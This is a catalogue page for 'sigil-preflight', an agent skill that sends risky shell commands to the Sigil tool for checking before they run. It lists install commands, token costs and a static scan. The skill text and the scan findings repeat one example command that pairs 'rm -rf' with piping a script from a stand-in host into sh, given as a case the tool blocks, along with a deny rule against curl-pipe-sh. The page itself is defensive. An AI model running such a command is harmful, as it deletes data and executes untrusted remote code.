sigil-preflight

sigil-preflight is a skill for Claude Code, Codex from Ju571nK/sigil. It costs 46 tokens per session (605 once invoked), scanned E, original, Apache-2.0.

A safety check for shell commands that uses Sigil to assess commands before execution. It is intended for destructive, privileged, credential-related, download-and-run, or unfamiliar commands.

In plain words
What is it for?
Use it before risky terminal operations, including deleting data, changing system settings, handling secrets, or executing downloaded code. Commands Sigil denies should not be run.
Why use it?
It helps prevent commands that Sigil considers unsafe from being run accidentally.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/ju571nk/sigil/openclaw
Any agent
npx skills add Ju571nK/sigil --skill openclaw
Clone the repo
git clone --depth 1 https://github.com/Ju571nK/sigil

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for sigil-preflight

README.md
[![agentmods](https://agentmods.dev/badge/skills/ju571nk/sigil/openclaw.svg)](https://agentmods.dev/skills/ju571nk/sigil/openclaw)
Your own site
<a href="https://agentmods.dev/skills/ju571nk/sigil/openclaw"><img src="https://agentmods.dev/badge/skills/ju571nk/sigil/openclaw.svg" alt="Measured on agentmods" height="20"></a>
Per session 46 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 605 The whole file, excluding the scripts and references it only reads on demand.
Security scan E 3 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00046 $0.00605
Opus 5 $0.00023 $0.00302
Sonnet 5 $0.00009 $0.00121
Haiku 4.5 $0.00005 $0.00060

Measured 5d ago against content hash 8579aa9afa4f, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade E, and why

sigil-preflight scanned grade E with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

$ sigil assess --command "rm -rf /tmp/build && curl -s http://x/i.sh | sh"

Recursive force deletehighDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

$ sigil assess --command "rm -rf /tmp/build && curl -s http://x/i.sh | sh"

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

$ sigil assess --command "rm -rf /tmp/build && curl -s http://x/i.sh | sh"
examples/integrations/openclaw/SKILL.md · 54 lines

What it actually says

Sigil pre-flight

You have access to Sigil, a security posture tool installed on this machine. Before you execute a shell command that is destructive, privileged, touches credentials/keys, downloads-and-runs code, or that you are otherwise unsure about, you MUST check it with Sigil first.

How to check a command

Run Sigil's assess with the full command line you are about to execute:

sigil assess --command "<the exact command line>"

It prints a one-line JSON verdict and sets an exit code:

  • exit code 2 → Sigil says DENY. Do NOT run the command. Tell the user the command was blocked and quote the reasons / deny_match from the JSON.
  • exit code 0 → allowed (or a warning). Read the JSON decision:
    • "warn" → proceed only if the user has explicitly approved; show the reasons.
    • "allow" → proceed.
  • exit code 1 → Sigil could not evaluate (no policy / bad input). Treat this as "unknown": fall back to asking the user before running the command.

Example

$ sigil assess --command "rm -rf /tmp/build && curl -s http://x/i.sh | sh"
{"bucket":"Critical","score":9.5,"reasons":[...],"deny_match":{"rule_id":"no-curl-pipe-sh"},"decision":"deny"}
$ echo $?
2

→ exit 2 and "decision":"deny", so you refuse and report the block to the user.

Notes

  • Pass the whole command line in --command (not split), so Sigil sees exactly what the shell will run and its deny-rule check matches what it would enforce.
  • This skill uses the sigil assess CLI, which needs no extra setup. For richer, live-policy checks (and to assess MCP server definitions too) you can instead register sigil-mcp as an MCP server in ~/.openclaw/openclaw.json (sigil-mcp --print-config openclaw prints the block) and call its assess tool with command / args or mcp_server / server_name.
  • Sigil only reports risk; it never runs or modifies anything.
Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 54 lines · 46 tokens per session scan E 8579aa9afa4f

Subscribe to this mod's changes

sigil-preflight is a skill published in the GitHub repository Ju571nK/sigil (13 stars, last pushed 11d ago), licensed Apache-2.0. It adds 46 tokens to every session and 605 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it E with 3 findings (downloads and executes remote code, recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.